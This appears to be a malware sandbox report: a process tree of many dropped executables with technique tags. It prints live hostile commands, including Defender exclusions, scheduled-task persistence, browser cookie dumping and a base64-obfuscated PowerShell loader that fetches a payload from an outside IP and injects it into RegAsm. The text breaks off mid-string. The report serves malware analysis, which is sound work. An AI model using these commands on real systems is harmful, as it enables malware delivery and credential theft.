- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 15720 -s 7527⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\check.execheck.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exeClient-built.exe4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe IMG___090000e09884877474838839993948848484949.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe3nxW7k1nAOzhQuf.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"C:\Users\Admin\AppData\Local\Temp\a\3nxW7k1nAOzhQuf.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\AsyncClient3333312313_protected.exeAsyncClient3333312313_protected.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\H5ZDZnmKtSuIn1f.exeH5ZDZnmKtSuIn1f.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\H5ZDZnmKtSuIn1f.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\H5ZDZnmKtSuIn1f.exe"C:\Users\Admin\AppData\Local\Temp\a\H5ZDZnmKtSuIn1f.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\QoxOWld.exeQoxOWld.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZRRf0IsE1Epm2M0.exeZRRf0IsE1Epm2M0.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\ZRRf0IsE1Epm2M0.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZRRf0IsE1Epm2M0.exe"C:\Users\Admin\AppData\Local\Temp\a\ZRRf0IsE1Epm2M0.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\sadd.exesadd.exe4⤵
-
C:\Users\Admin\AppData\Local\Local\chrome_inject.exe"C:\Users\Admin\AppData\Local\Local\chrome_inject.exe" --start-browser --verbose -o "C:\Users\Admin\AppData\Local\Local\Cookies" chrome5⤵
-
-
C:\Users\Admin\AppData\Local\Local\chrome_inject.exe"C:\Users\Admin\AppData\Local\Local\chrome_inject.exe" --start-browser --verbose -o "C:\Users\Admin\AppData\Local\Local\Cookies" brave5⤵
-
-
C:\Users\Admin\AppData\Local\Local\chrome_inject.exe"C:\Users\Admin\AppData\Local\Local\chrome_inject.exe" --start-browser --verbose -o "C:\Users\Admin\AppData\Local\Local\Cookies" edge5⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-logging --log-level=3 --v=06⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge11476240758031 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessEdge11476240758031\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x284,0x288,0x28c,0x280,0x2a4,0x7ffc9102f208,0x7ffc9102f214,0x7ffc9102f2207⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\aML1NnH.exeaML1NnH.exe4⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i iconsrer.msi4⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loli.exeLoli.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\dcc1897f1f3d4db59c631f87330304ce_crypted_build.exedcc1897f1f3d4db59c631f87330304ce_crypted_build.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\21dd7038a1a34c159308849c1dea9071_crypted_build.exe21dd7038a1a34c159308849c1dea9071_crypted_build.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe4⤵
-
C:\Users\Admin\AppData\Local\5f904c04-b6f0-4ef4-b73d-a10fffc2d34f\background.exe"C:\Users\Admin\AppData\Local\5f904c04-b6f0-4ef4-b73d-a10fffc2d34f\background.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Updater.exeUpdater.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cyanidation.execyanidation.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ac4601204d87420b972a82e811cfc373_bound_build.exeac4601204d87420b972a82e811cfc373_bound_build.exe4⤵
-
C:\Users\Admin\AppData\Local\gckatnrpmoksafcimyqg\bgriwerulblnzksu.exe"C:\Users\Admin\AppData\Local\gckatnrpmoksafcimyqg\bgriwerulblnzksu.exe"5⤵
-
C:\Users\Admin\AppData\Local\dgzr\nbgtpasrg.exe"C:\Users\Admin\AppData\Local\dgzr\nbgtpasrg.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\gckatnrpmoksafcimyqg\xxypuvoiukpm.exe"C:\Users\Admin\AppData\Local\gckatnrpmoksafcimyqg\xxypuvoiukpm.exe"5⤵
-
C:\Users\Admin\AppData\Local\tgnsk\nbgtpasrg.exe"C:\Users\Admin\AppData\Local\tgnsk\nbgtpasrg.exe"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\akm\dadaasads_new.ps1"7⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Temp27947\AppInstaller.exe"C:\Users\Admin\AppData\Local\Temp27947\AppInstaller.exe" "C:\Users\Admin\AppData\Local\Windows63654\FolderBP.exe"8⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&19⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F10⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp27947\AppInstaller.exe"C:\Users\Admin\AppData\Local\Temp27947\AppInstaller.exe" "C:\Users\Admin\AppData\Local\npUpdater\core.exe"8⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&19⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F10⤵
- Kills process with taskkill
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Winrar64.exeWinrar64.exe4⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "VioletClient3335_protected" /tr "C:\Users\Admin\AppData\Roaming\VioletClient3335_protected.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\HGT.exeHGT.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\PwplVsFT.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PwplVsFT" /XML "C:\Users\Admin\AppData\Local\Temp\tmp878A.tmp"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\deluxe_crypted.exedeluxe_crypted.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\VaOMtun.exeVaOMtun.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe4⤵
-
C:\Users\Admin\AppData\Local\0d274c8a-4598-4843-a32d-cd16e6fd7153\background.exe"C:\Users\Admin\AppData\Local\0d274c8a-4598-4843-a32d-cd16e6fd7153\background.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exepcfxfBJLlyuaL81.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exe"C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exe"C:\Users\Admin\AppData\Local\Temp\a\pcfxfBJLlyuaL81.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\WFF.exeWFF.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\iHhllRy.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\iHhllRy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8CE9.tmp"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\pOyfDXM.exepOyfDXM.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\pOyfDXM.exe"C:\Users\Admin\AppData\Local\Temp\a\pOyfDXM.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\HHP.exeHHP.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\STPWlPUEAbN.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STPWlPUEAbN" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8CBA.tmp"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\QBSTGxG.exeQBSTGxG.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\MMM.exeMMM.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\JoLhhrFiG.exe"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\JoLhhrFiG" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA43A.tmp"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\rWvXzEJ.exerWvXzEJ.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\rWvXzEJ.exe"C:\Users\Admin\AppData\Local\Temp\a\rWvXzEJ.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Updatex.exeUpdatex.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\wpnAjnT.exewpnAjnT.exe4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Patents.accde5⤵
-
C:\Windows\SysWOW64\cmd.execmd6⤵
-
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c run.bat4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABsAGYAcwBkAGYAcwBkAGcAIAA9ACAAIAAkAEIAeQB0AGUAcwAgACsAJABCAHkAdABlAHMAMgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAaQBuAGsAcwAgAD0AIABAACgAKAAkAGwAZgBzAGQAZgBzAGQAZwAgACsAIAAnADYAMgAuADYAMAAuADIAMgA2AC4AMQA2ADgALwBwAHUAYgBsAGkAYwBfAGYAaQBsAGUAcwAvAHQAZQBzAHQALgBqAHAAZwA/ADEAMgA3ADEAMQAzADEAMwAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAKQAgAHsAIAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAd@AD0AIAAkAHMAdABhAHIAdABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoAGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAdABlAHMAdABwAG8AdwBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGkAbgBqAGUAYwA9ACcAUgBlAGcAQQBzAG0AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBsAGYAcwBnAGUAZABkAGQAZABkAGQAZABhACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AeABBAEwANQBUADAATgAvAHMAZQBsAGkAZgBfAGMAaQBsAGIAdQBwAC8AOAA2ADEALgA2ADIAMgAuADAANgAuADIANgAvAC8AOgAnACwAIAAnADAAJwAsACAAJwAwAE0AVQBpAFIATgBnAEcAdQAnACwAIAAkAGkAbgBqAGUAYwAsACAAJwAwACcAKQApAH0AfQA='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''d@'',''r'')));iex $OWjuxD\"'"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG4AawBzACkAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4AawBzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGwAaQBuAGsAKQAgAH0AIABjAGEAdABjAGgAIAB7ACAAYwBvAG4AdABpAG4AdQBlACAAfQAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAdAB0AHAAJwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAOgAvAC8AJwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABsAGYAcwBkAGYAcwBkAGcAIAA9ACAAIAAkAEIAeQB0AGUAcwAgACsAJABCAHkAdABlAHMAMgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGwAaQBuAGsAcwAgAD0AIABAACgAKAAkAGwAZgBzAGQAZgBzAGQAZwAgACsAIAAnADYAMgAuADYAMAAuADIAMgA2AC4AMQA2ADgALwBwAHUAYgBsAGkAYwBfAGYAaQBsAGUAcwAvAHQAZQBzAHQALgBqAHAAZwA/ADEAMgA3ADEAMQAzADEAMwAnACkAKQA7ACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8AdwBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAaQBtAGEAZwBlAFQAZQB4AHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHMAdABhAHIAdABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAIAAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACA